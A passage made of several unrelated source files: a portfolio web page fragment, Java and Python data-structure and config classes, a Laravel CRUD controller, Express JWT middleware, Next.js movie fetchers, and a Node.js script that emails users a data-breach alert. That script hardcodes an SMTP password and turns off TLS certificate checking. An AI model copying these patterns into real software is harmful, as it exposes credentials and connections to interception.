bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <!-- <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane" role="tabpanel" aria-labelledby="home-tab" style="opacity: 0;"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/旅游01.png" alt=""> <div class="overlay"> <div class="icons">旅行风景项目-bootstrap <a class="lightbox preview" href="image/img/gallery/放大bootstrap.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/旅行风景项目-bootstrap/index.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> --> </div> <!-- 可视化 --> <div id="portfolio" class="tab-content tab-pane" style="display:none"> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix print design tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/可视化1(小).png" alt=""> <div class="overlay"> <div class="icons">数据可视化 <a class="lightbox preview" href="image/img/gallery/可视化1.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/数据可视化/可视化1/数据可视化1.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix print design tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/可视化2(小).png" alt=""> <div class="overlay"> <div class="icons">数据可视化 <a class="lightbox preview" href="image/img/gallery/可视化2.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/数据可视化/可视化2/可视化2.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> </div> <!-- vue+小程序 --> <div id="portfolio" class="tab-content tab-pane" style="display:none"> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix print design tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/36漫画(小).png" alt=""> <div class="overlay"> <div class="icons">36漫画 <a class="lightbox preview" href="image/img/gallery/36漫画(大).png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/01-36漫画演示视频.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix print design tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/文词(小) (1).png" alt=""> <div class="overlay"> <div class="icons">文词app <a class="lightbox preview" href="image/img/gallery/文词(大) (1).png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/02-文词app演示视频.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix print design tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/珠宝(小).png" alt=""> <div class="overlay"> <div class="icons">MM珠宝微信小程序 <a class="lightbox preview" href="image/img/gallery/首页-列表.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/03-微信小程序演示视频.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane " role="tabpanel" aria-labelledby="home-tab" style="opacity: 0;"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/jq手风琴风景图1(小).png" alt=""> <div class="overlay"> <div class="icons">jQuery实现手风琴效果 <a class="lightbox preview" href="image/img/gallery/放大jQ手风琴.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/使用jQuery实现手风琴效果/使用jQuery实现手风琴效果.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> </div> </div> </div> </section> <script src="./js/jquery.min.js"></script> <script> var items = document.querySelectorAll(".controls a"); // 全部显示 // 显示htmlcss css3+html5 bootstrap.... var controlsDJ = document.querySelectorAll(".controls"); var bgDiv = document.querySelectorAll(".tab-content"); // console.log(bgDiv); for (var i = 0; i < items.length; i++) { // 给a设置自定义属性 items[i].setAttribute("data-index", i); items[i].onclick = function () { // 绑定事件跟触发事件不是同时发生的, 我们能点击的时候, for循环已经结束了 // console.log("点击onclick里面的i=>", i); for (var j = 0; j < items.length; j++) { // 删除类名 items[j].classList.remove("myactive"); } // console.log("this=>", this); // 添加类名 this.classList.add("myactive"); // 隐藏所有 for (var k = 0; k < bgDiv.length; k++) { bgDiv[k].style.display = "none"; } // 获取当前点击a身上自定义属性data-index var index = this.getAttribute("data-index"); bgDiv[index].style.display = "block"; } } </script> <!-- 选项 1:jQuery 和 Bootstrap 集成包(集成了 Popper) --> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-Fy6S3B9q64WdZWQUiU+q4/2Lc9npb8tCaSX9FK7E8HnRr0Jz8D6OP9dO5Vg3Q9ct" crossorigin="anonymous"></script> </body> </html>
package edu.sru.thangiah.datastructures.linkedlist; import edu.sru.thangiah.datastructures.linkedlist.NodeOneLink; public class SingleLinkedList { private NodeOneLink head; private NodeOneLink tail; private NodeOneLink last; private NodeOneLink first; public SingleLinkedList() { head = new NodeOneLink("Head"); tail = new NodeOneLink("Tail"); last = head; first = head; head.setNext(tail); } public boolean isEmpty() { return head.getNext() == tail; // evaluates to true if empty, false if not } /* Assume the pointer "first" in the SinglyList class always points to the first node in the * linked list. Write code to create a SinglyLinkedList and add two nodes. * At each insertion,the pointer "first" should point to the last node inserted on the * linked list. The pointer "first" will always point to the node after the node pointed to by the head. */ public void addNodeFirst(Object data) { NodeOneLink temp; temp = new NodeOneLink(data); //the list is empty if (head.getNext() == tail) { //set the links temp.setNext(first.getNext()); first=temp; head.setNext(first); temp = null; } else //there is at least one node { temp.setNext(first); first=temp; head.setNext(first); temp = null; } } /* * Remove the first node from the linked list */ public int removeNodeFirst() { NodeOneLink temp; int data = -1; // set data to -1, that way if -1 is returned, remove // operation failed if (!this.isEmpty()) { temp = head.getNext(); // point to the first item in the queue data = (int) temp.getData(); // preserving the data in temp to be returned head.setNext(temp.getNext()); // changes the second node to be the first temp.setNext(null); // grounding temp's tail temp = null; // removing the temp node from memory } return data; } /* Assume the pointer "last" in the SinglyList class always points to the last node on the linked list. Write code to create a SinglyLinkedList and add two nodes. At each insertion, the pointer "last" should point to the lastnode inserted on the linked list. The pointer "last" will always be the one before the node pointed to by the tail. */ public void addNodeLast(Object data) { NodeOneLink temp; temp = new NodeOneLink(data); //the list is empty if (head.getNext() == tail) { //set the links last = temp; head.next = temp; temp.next = tail; temp = null; } else //there is at least one node { temp.setNext(last.getNext()); //or temp.setNext = tail; last.setNext(temp); last = temp; temp = null; } } /* * Remove the last node from the linked list */ public Object removeNodeLast() { NodeOneLink ptr; // pointer to navigate the LL Object data = null; if (!this.isEmpty()) { // always check if empty before performing operations data = last.getData(); // preserving the data pointed to by last ptr = head; while (ptr.getNext() != last) { // navigate through the LL to get to ptr = ptr.getNext(); // node before last } ptr.setNext(tail); last = ptr; ptr = null; } return data; } //Get the first value in the linked list without removing it public Object getFirstNode() { return head.getNext(); } public String toString() { NodeOneLink temp; String tempStr; temp = head; tempStr="Linked list is:"; while (temp!= null) { tempStr = tempStr + " "+temp.getData(); temp = temp.getNext(); } return tempStr; } /* * Locate the node with the value val */ public Object locate(Object val) { NodeOneLink tmp; NodeOneLink prevTmp; //trails temp one node behind Object tmpVal=-1; tmp = head.getNext(); if (!this.isEmpty()) { //locate the node while (tmp != this.tail && tmp.getData() != val) { tmp = tmp.getNext(); } //if val was not located or the previous node is pointing to the //head buffer node, return null if (tmp == this.tail) { tmpVal=-1; return tmpVal; } else { return (Object)tmp.getData(); } } return tmpVal; } /* * Locate the node with the value val and delete the node previous to it. */ public Object delPrev(Object val) { NodeOneLink tmp; NodeOneLink tmp1; NodeOneLink prevTmp; //trails temp one node behind NodeOneLink emptyNode; emptyNode = new NodeOneLink(-1); tmp = head.getNext(); if (!this.isEmpty()) { //locate the node while (tmp != this.tail && tmp.getData() != val) { tmp = tmp.getNext(); } //if val was not located or the previous node is pointing to the //head buffer node, return null if (tmp == this.tail) { return emptyNode; } else { tmp1 = head.getNext(); prevTmp=null; while (tmp1 != tmp) { prevTmp = tmp1; tmp1 = tmp1.getNext(); } //remove the links if (prevTmp == null) { head.setNext(tail); tmp1.setNext(null); } else { prevTmp.setNext(tmp); tmp1.setNext(null); } return tmp1; } } else //linked list is empty { return emptyNode; } } public Object delPrev1(Object val){ NodeOneLink temp = head; NodeOneLink prevtemp = null; if(!this.isEmpty()){ while(temp.getNext().getData() != val && temp.getNext() != null){ prevtemp= temp; temp =temp.getNext(); } if(temp != head){ prevtemp.setNext(temp.getNext()); return temp; } } return -1; } public static void main(String args[]) { /*SingleLinkedList singleLL = new SingleLinkedList(); singleLL.addNodeLast("a"); singleLL.addNodeLast("b"); System.out.println(singleLL); */ SingleLinkedList singleLL = new SingleLinkedList(); singleLL.addNodeFirst(4); System.out.println(singleLL); singleLL.addNodeFirst(5); System.out.println(singleLL); singleLL.addNodeFirst(6); System.out.println(singleLL); singleLL.delPrev1(4); //singleLL.addNodeFirst("a"); //singleLL.addNodeFirst("b"); System.out.println(singleLL); } }
import os import json from .options import ProjectOptions, DEFAULT_CONFIG_FILE_NAME DEFAULT_GLM_CONFIG_FILE_NAME = "defaultGLMConfig.json" # GLM Levels VALID_L1 = ["1", "L1", "l1", "level1"] VALID_L2 = ["2", "L2", "l2", "level2"] L1 = VALID_L1[1] L2 = VALID_L2[1] class GLMOptions: """Configuration related to the GLM modules Config values are found in this object's 'attribute' as a dictionary matching the json structure of the default GLM config file. """ def __init__(self, glm_config_file: os.PathLike = None): """ Args: glm_config_file (os.PathLike, optional): Path to GLM config file. May be relative. Defaults to None. """ # Use the default GLM config file if none provided if glm_config_file is None: from pkg_resources import resource_stream with resource_stream('clpipe', f'data/{DEFAULT_GLM_CONFIG_FILE_NAME}') as def_config: self.config = json.load(def_config) self.parent_options = None else: with open(os.path.abspath(glm_config_file), "r") as glm_config_file: self.config = json.load(glm_config_file) # Load in the project options via the parent clpipe config self.parent_options = ProjectOptions.load(self.config['ParentClpipeConfig']) def config_json_dump(self, outputdir: os.PathLike, file_name: os.PathLike=DEFAULT_GLM_CONFIG_FILE_NAME) -> os.PathLike: """Dump the state of this configuration to json. Args: outputdir (os.PathLike): Output destination. May be relative. file_name (os.PathLike, optional): Name of your GLM config file. Defaults to default glm config file name. """ outpath = os.path.join(os.path.abspath(outputdir), file_name) with open(outpath, 'w') as fp: json.dump(self.config, fp, indent="\t") return outpath def populate_project_paths(self, parent_config_file) -> None: """Generate default project paths given a specific project root. Args: parent_config_file (os.PathLike): Path to the (already populated) parent config file. """ self.config['ParentClpipeConfig'] = parent_config_file # Load in the project options via the parent clpipe config to get project # root directory. self.parent_options = ProjectOptions.load(parent_config_file) project_directory = self.parent_options.project_directory self.config['Level1Setups'][0]['TargetDirectory'] = os.path.join(project_directory, "data_postproc", "default") self.config['Level1Setups'][0]['FSFDir'] = os.path.join(project_directory, "l1_fsfs") self.config['Level1Setups'][0]['EVDirectory'] = os.path.join(project_directory, "data_onsets") self.config['Level1Setups'][0]['ConfoundDirectory'] = os.path.join(project_directory, "data_postproc", "default") self.config['Level1Setups'][0]['OutputDir'] = os.path.join(project_directory, "l1_feat_folders") self.config['Level1Setups'][0]['LogDir'] = os.path.join(project_directory, "logs", "glm_logs", "L1_launch") self.config['Level2Setups'][0]['OutputDir'] = os.path.join(project_directory, "l2_gfeat_folders") self.config['Level2Setups'][0]['FSFDir'] = os.path.join(project_directory, "l2_fsfs") self.config['Level2Setups'][0]['LogDir'] = os.path.join(project_directory, "logs", "glm_logs", "L2_launch")
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package main_class; import java.io.IOException; import java.nio.file.FileSystems; import java.nio.file.Path; import java.util.ArrayList; import java.util.List; import org.apache.log4j.Logger; import org.apache.log4j.PropertyConfigurator; import org.apache.uima.UIMAFramework; import org.apache.uima.cas.CAS; import org.apache.uima.collection.CollectionProcessingEngine; import org.apache.uima.collection.EntityProcessStatus; import org.apache.uima.collection.StatusCallbackListener; import org.apache.uima.collection.metadata.CpeDescription; import org.apache.uima.resource.ResourceInitializationException; import org.apache.uima.util.InvalidXMLException; import org.apache.uima.util.XMLInputSource; /** * Main Class that runs a Collection Processing Engine (CPE). This class reads a CPE Descriptor as a * command-line argument and instantiates the CPE. It also registers a callback listener with the * CPE, which will print progress and statistics to System.out. * * */ public class main_class extends Thread { private class RunObject { /** * The CPE instance. */ private CollectionProcessingEngine mCPE; /** * File name */ private String mFileName; private StatusCallbackListenerImpl mStatusCallbackListener; public RunObject(String CpeDescriptor) throws InvalidXMLException, IOException, ResourceInitializationException { mFileName = CpeDescriptor; //create the CPE descriptor file from input. CpeDescription cpeDesc = UIMAFramework.getXMLParser().parseCpeDescription(new XMLInputSource(CpeDescriptor)); //parse CPE descriptor mCPE = UIMAFramework.produceCollectionProcessingEngine(cpeDesc); mStatusCallbackListener = new StatusCallbackListenerImpl(); // Create and register a Status Callback Listener mCPE.addStatusCallbackListener(mStatusCallbackListener); } public void process() throws ResourceInitializationException { // Start Processing mCPE.process(); } public boolean isProcessing() { return mStatusCallbackListener.isProcessing(); } /*public void Performance() { Logger logger = Logger.getRootLogger(); logger.debug("\n\n ------------------ PERFORMANCE REPORT ------------------\n"); logger.debug(mCPE.getPerformanceReport().toString()); }*/ public String getName() { return mFileName; } } private ArrayList<RunObject> run_list; /** * Constructor for the class. * * @param args * command line arguments into the program - see class description */ public main_class(String args[]) throws Exception { // check command line args if (args.length < 1) { printUsageMessage(); System.exit(1); } run_list = new ArrayList<RunObject>(); for (String cpe_desc: args) { RunObject o = new RunObject(cpe_desc); run_list.add(o); } Logger logger = Logger.getRootLogger(); for (RunObject runner : run_list) { logger.debug(String.format("Starting %s", runner.getName())); runner.process(); while (runner.isProcessing()) { sleep(5000); } logger.debug(String.format("Finished %s", runner.getName())); } } private static void printUsageMessage() { Logger logging = Logger.getRootLogger(); logging.debug(" Arguments to the program are as follows : \n" + "args[0] : path to Content Processing Engine descriptor file \n" + "args[*] : optional path to Content Processing Engine descriptor file(s)"); } /** * main class. * * @param args * Command line arguments - see class description */ public static void main(String[] args) throws Exception { //Path path = FileSystems.getDefault().getPath(".").toAbsolutePath(); //System.out.println(path); PropertyConfigurator.configure("./src/logging.properties"); new main_class(args); System.exit(0); //oddly, this is needed. Maven will hang without an exit call. } /** * Callback Listener. Receives event notifications from CPE. * * */ class StatusCallbackListenerImpl implements StatusCallbackListener { int entityCount = 0; long size = 0; /** * Start time of CPE initialization */ private long mStartTime; /** * Start time of the processing */ private long mInitCompleteTime; private boolean mRunning; public StatusCallbackListenerImpl() { mStartTime = System.currentTimeMillis(); mRunning = true; } /** * Called when the initialization is completed. * * @see org.apache.uima.collection.processing.StatusCallbackListener#initializationComplete() */ @Override public void initializationComplete() { Logger logger = Logger.getRootLogger(); logger.debug("CPM Initialization Complete"); mInitCompleteTime = System.currentTimeMillis(); } /** * Called when the batchProcessing is completed. * * @see org.apache.uima.collection.processing.StatusCallbackListener#batchProcessComplete() * */ @Override public void batchProcessComplete() { Logger logging = Logger.getRootLogger(); logging.debug("Completed " + entityCount + " documents"); if (size > 0) { System.out.print("; " + size + " characters"); } long elapsedTime = System.currentTimeMillis() - mStartTime; logging.debug("Time Elapsed : " + elapsedTime + " ms "); mRunning = false; } /** * Called when the collection processing is completed. * * @see org.apache.uima.collection.processing.StatusCallbackListener#collectionProcessComplete() */ @Override public void collectionProcessComplete() { Logger logging = Logger.getRootLogger(); long time = System.currentTimeMillis(); System.out.print("Completed " + entityCount + " documents"); if (size > 0) { System.out.print("; " + size + " characters"); } long initTime = mInitCompleteTime - mStartTime; long processingTime = time - mInitCompleteTime; long elapsedTime = initTime + processingTime; logging.debug("Total Time Elapsed: " + elapsedTime + " ms "); logging.debug("Initialization Time: " + initTime + " ms"); logging.debug("Processing Time: " + processingTime + " ms"); mRunning = false; } /** * Called when the CPM is paused. * * @see org.apache.uima.collection.processing.StatusCallbackListener#paused() */ @Override public void paused() { Logger logging = Logger.getRootLogger(); logging.debug("Paused"); } /** * Called when the CPM is resumed after a pause. * * @see org.apache.uima.collection.processing.StatusCallbackListener#resumed() */ @Override public void resumed() { Logger logging = Logger.getRootLogger(); logging.debug("Resumed"); } /** * Called when the CPM is stopped abruptly due to errors. * * @see org.apache.uima.collection.processing.StatusCallbackListener#aborted() */ @Override public void aborted() { Logger logging = Logger.getRootLogger(); logging.debug("Aborted"); // stop the JVM. Otherwise main thread will still be blocked waiting for // user to press Enter. } /** * Called when the processing of a Document is completed. <br> * The process status can be looked at and corresponding actions taken. * * @param aCas * CAS corresponding to the completed processing * @param aStatus * EntityProcessStatus that holds the status of all the events for aEntity */ @Override public void entityProcessComplete(CAS aCas, EntityProcessStatus aStatus) { if (aStatus.isException()) { List<Exception> exceptions = aStatus.getExceptions(); for (int i = 0; i < exceptions.size(); i++) { ((Throwable) exceptions.get(i)).printStackTrace(); } return; } entityCount++; String docText = aCas.getDocumentText(); if (docText != null) { size += docText.length(); } } public boolean isProcessing() { return mRunning; } } }
<?php namespace App\Http\Controllers\Dashboard; use App\Http\Controllers\Controller; use Illuminate\Database\Eloquent\Model; use Illuminate\Http\Request; use Illuminate\Support\Str; class DashboardController extends Controller { protected $model; protected $dash_view = 'dashboard.pages'; protected $module_name; protected $controller_name; protected $method_name; protected $method_view; protected $module_actions = []; protected $success_create; protected $success_update; protected $success_delete; protected $success_restore; protected $success_finalDelete; protected $error_create; protected $error_update; protected $error_delete; protected $error_restore; protected $error_finalDelete; protected $index_route; public function __construct(Model $model = null) { $this->model = $model; $this->controller_name = $this->getControllerName(); $this->module_name = Str::snake(Str::plural($this->controller_name)); $this->method_name = request()->route()->getActionMethod(); $this->method_view = $this->dash_view . '.' . $this->module_name . '.' . $this->method_name; $this->index_route = route($this->module_name . '.index'); $this->success_create='The creation has been saved successfully'; $this->success_update='The modifications were saved successfully'; $this->success_delete='Moved to Recycle Bin'; $this->success_restore='Data has been restored'; $this->success_finalDelete='Permanently deleted'; $this->error_create='The creation was not saved'; $this->error_update='The modifications are not saved'; $this->error_delete='The item was not deleted'; $this->error_restore='The item was not returned'; $this->error_finalDelete='The item has not been permanently deleted'; $this->module_actions = ['destroy', 'create', 'store', 'update']; view()->share([ 'module_name' => $this->module_name, 'method_name' => $this->method_name, 'module_actions' => $this->module_actions, 'success_create'=>$this->success_create, 'success_update'=>$this->success_update, ]); } // ************************************************ // ************************************************ // ***********************Index******************** // ************************************************ // ************************************************ public function index() { $items = $this->model->get(); return view($this->dash_view . '.' . $this->module_name . '.index') ->with('items', $items); } // ************************************************ // ************************************************ // ***********************Show******************** // ************************************************ // ************************************************ public function show($id) { $item = $this->model->find($id); return view( $this->dash_view . '.' . $this->module_name . '.show', compact('item') ); } // ************************************************ // ************************************************ // **********************Create******************** // ************************************************ // ************************************************ public function create() { return view($this->dash_view . '.' . $this->module_name . '.form'); } // ************************************************ // ************************************************ // ***********************Store******************** // ************************************************ // ************************************************ // public function store() // { // } // ************************************************ // ************************************************ // ***********************Edit********************* // ************************************************ // ************************************************ public function edit($id) { $item = $this->model->withTrashed()->findOrFail($id); return view($this->method_view, compact('item')); } // ************************************************ // ************************************************ // ***********************Update******************* // ************************************************ // ************************************************ // public function update() // { // } // ************************************************ // ************************************************ // ***********************Delete******************* // ************************************************ // ************************************************ public function destroy($id) { if( $item = $this->model->findOrFail($id)->delete()){ session()->flash('success',$this->success_delete); return redirect()->back(); }else{ session()->flash('error',$this->error_delete); return redirect()->back(); } } // ************************************************ // ************************************************ // ***********************Restore****************** // ************************************************ // ************************************************ public function restore($id) { $item = $this->model::withTrashed()->find($id); if($restore = $item->restore()){ session()->flash('success',$this->success_restore); return redirect()->back(); }else{ session()->flash('error',$this->error_restore); return redirect()->back(); } } // ************************************************ // ************************************************ // ***********************RecycleBin*************** // ************************************************ // ************************************************ public function recycleBin() { $items = $this->model->onlyTrashed()->get(); return view( $this->dash_view . '.' . $this->module_name . '.recycleBin', compact('items') ); } // ************************************************ // ************************************************ // ***********************FinalDelete************** // ************************************************ // ************************************************ public function finalDelete($id) { $item = $this->model::withTrashed()->find($id); if( $finalDelete = $item->forceDelete()){ session()->flash('success',$this->success_finalDelete); return redirect()->back(); }else{ session()->flash('error',$this->error_finalDelete); return redirect()->back(); } } // ************************************************ // ************************************************ // ***************getControllerName**************** // ************************************************ // ************************************************ protected function getControllerName() { return str_replace('Controller', '', class_basename($this)); } }
// src/emailSender.js const nodemailer = require('nodemailer'); const { decrypt } = require('./utils/encryption'); const { getUsers } = require('./database'); async function sendEmails() { try { // Obtendo todos os usuários do banco de dados const users = await getUsers(); // Configuração do transporte de e-mail (substitua com suas credenciais SMTP) const transporter = nodemailer.createTransport({ service: 'outlook', auth: { user: '[email protected]', pass: 'quantumteam2023' }, tls: { rejectUnauthorized: false // Desabilitar verificação de certificado SSL } }); // Definindo o tamanho máximo do batch de e-mails const maxBatchSize = 5; const delayBetweenEmails = 1000; // 1 segundo de atraso entre os e-mails // Iterando sobre os usuários e enviando e-mails for (let i = 0; i < users.length; i += maxBatchSize) { const batch = users.slice(i, i + maxBatchSize); await Promise.all(batch.map(async (user, index) => { const decryptedName = decrypt(user.nome); const decryptedEmail = decrypt(user.email); // Configurando o assunto do e-mail const subject = 'Alerta de comprometimento de dados'; // Configurando o texto do e-mail com o nome do usuário const text = `Caro (a) ${decryptedName},\n\nViemos por meio deste e-mail alertar sobre o comprometimento da nossa base de dados, portanto, aconselhamos fortemente a mudança de suas credenciais e dados no nosso sistema. As devidas providências já estão sendo tomadas.\n\nAgradecemos a compreensão.`; // Configurando o e-mail const mailOptions = { from: '[email protected]', to: decryptedEmail, subject: subject, text: text }; // Enviando o e-mail com atraso entre cada um await new Promise(resolve => setTimeout(resolve, index * delayBetweenEmails)); const info = await transporter.sendMail(mailOptions); console.log(`E-mail enviado para ${decryptedEmail}: ${info.messageId}`); })); } } catch (error) { console.error('Erro ao enviar e-mails:', error); } } module.exports = { sendEmails };
import { NextFunction, Request, Response } from 'express'; import jwt from 'jsonwebtoken'; import { AuthRequest } from '../Interfaces/AuthRequestInterface'; import { findUser } from '../repository/UserRepository'; export const isLoggedIn = async ( req: Request, res: Response, next: NextFunction ) => { let token: string = ''; if (req.headers && req.headers.authorization) { token = req.headers.authorization; } else { return res.status(401).send({ message: 'Token is missing', status: 401 }); } if (token && process.env.SECRET) { jwt.verify(token, process.env.SECRET, async (err, decoded: any) => { try { if (decoded) { const user = await findUser({ ID: decoded.id }); if (!user) return res.status(401).json({ message: 'User is not available or deleted', status: 401, }); (req as AuthRequest).user = user; } else return res.status(403).json({ message: 'JWT is malformed', status: 401, }); } catch (e) { return res .status(401) .json({ message: 'JWT is malformed', status: 401 }); } return next(); }); } };
"use server"; import { addBlurredUrls, convertYear } from "@/lib/utils"; import { optionConfig, REVALIDATE_MOVIES_TRENDING, REVALIDATE_NORMAL, FILM_IMG_URL, MOVIES_POPULAR_API, MOVIES_TOP_RATED_API, MOVIES_UPCOMING_API, MOVIES_TRENDING_API, } from "../config"; import { FilmBlur } from "@/lib/type"; const FILM_PLACEHOLDER_IMAGE = "/assets/img-not-found.png"; export const fetchMoviesTrending = async function () { try { const res = await fetch(MOVIES_TRENDING_API, { ...optionConfig, next: { revalidate: REVALIDATE_MOVIES_TRENDING, }, }); if (!res.ok) throw Error; const { results } = await res.json(); const imgUrls: string[] = []; const formattedData: FilmBlur[] = results.slice(0, 6).map((movie: any) => { const img = movie.backdrop_path ? FILM_IMG_URL(movie.backdrop_path) : FILM_PLACEHOLDER_IMAGE; // if movie img exist will have a blurred img if (movie.backdrop_path) imgUrls.push(img); return { id: movie.id, title: movie.title, releaseDate: convertYear(movie.release_date), isMovie: true, typeFilm: "Movie", hasBlur: movie.backdrop_path ? true : false, img, }; }); const blurredUrls = await addBlurredUrls(imgUrls); // if movie img exist will have an own property // i.e, (blurredImg) responsible for applying the blurred img let blurImgsIndex = 0; formattedData.forEach((film: FilmBlur) => { if (film.hasBlur) { film.blurredImg = blurredUrls[blurImgsIndex]; ++blurImgsIndex; } }); return { content: formattedData }; } catch (error) { console.log("Fecth movie trending have a: ", error); } }; export const fetchMoviesPopular = async function () { try { const res = await fetch(MOVIES_POPULAR_API, { ...optionConfig, next: { revalidate: REVALIDATE_NORMAL, }, }); if (!res.ok) throw Error; const { results } = await res.json(); const imgUrls: string[] = []; const formattedData: FilmBlur[] = results.slice(0, 6).map((movie: any) => { const img = movie.backdrop_path ? FILM_IMG_URL(movie.backdrop_path) : FILM_PLACEHOLDER_IMAGE; // if movie img exist will have a blurred img if (movie.backdrop_path) imgUrls.push(img); return { id: movie.id, title: movie.title, releaseDate: convertYear(movie.release_date), isMovie: true, typeFilm: "Movie", hasBlur: movie.backdrop_path ? true : false, img, }; }); const blurredUrls = await addBlurredUrls(imgUrls); // if movie img exist will have an own property // i.e, (blurredImg) responsible for applying the blurred img let blurImgsIndex = 0; formattedData.forEach((film: FilmBlur) => { if (film.hasBlur) { film.blurredImg = blurredUrls[blurImgsIndex]; ++blurImgsIndex; } }); return { content: formattedData }; } catch (error) { console.log("Fecth movie popular have a: ", error); } }; export const fetchMoviesTopRated = async function () { try { const res = await fetch(MOVIES_TOP_RATED_API, { ...optionConfig, next: { revalidate: REVALIDATE_NORMAL, }, }); if (!res.ok) throw Error; const { results } = await res.json(); const imgUrls: string[] = []; const formattedData: FilmBlur[] = results.slice(0, 6).map((movie: any) => { const img = movie.backdrop_path ? FILM_IMG_URL(movie.backdrop_path) : FILM_PLACEHOLDER_IMAGE; // if movie img exist will have a blurred img if (movie.backdrop_path) imgUrls.push(img); return { id: movie.id, title: movie.title, releaseDate: convertYear(movie.release_date), isMovie: true, typeFilm: "Movie", hasBlur: movie.backdrop_path ? true : false, img, }; }); const blurredUrls = await addBlurredUrls(imgUrls); // if movie img exist will have an own property // i.e, (blurredImg) responsible for applying the blurred img let blurImgsIndex = 0; formattedData.forEach((film: FilmBlur) => { if (film.hasBlur) { film.blurredImg = blurredUrls[blurImgsIndex]; ++blurImgsIndex; } }); return { content: formattedData }; } catch (error) { console.log("Fecth movie top rated have a: ", error); } }; export const fetchMoviesUpcoming = async function () { try { const res = await fetch(MOVIES_UPCOMING_API, { ...optionConfig, next: { revalidate: REVALIDATE_NORMAL, }, }); if (!res.ok) throw Error; const { results } = await res.json(); const imgUrls: string[] = []; const formattedData: FilmBlur[] = results.slice(0, 6).map((movie: any) => { const img = movie.backdrop_path ? FILM_IMG_URL(movie.backdrop_path) : FILM_PLACEHOLDER_IMAGE; // if movie img exist will have a blurred img if (movie.backdrop_path) imgUrls.push(img); return { id: movie.id, title: movie.title, releaseDate: convertYear(movie.release_date), isMovie: true, typeFilm: "Movie", hasBlur: movie.backdrop_path ? true : false, img, }; }); const blurredUrls = await addBlurredUrls(imgUrls); // if movie img exist will have an own property // i.e, (blurredImg) responsible for applying the blurred img let blurImgsIndex = 0; formattedData.forEach((film: FilmBlur) => { if (film.hasBlur) { film.blurredImg = blurredUrls[blurImgsIndex]; ++blurImgsIndex; } }); return { content: formattedData }; } catch (error) { console.log("Fecth movie upcoming have a: ", error); } };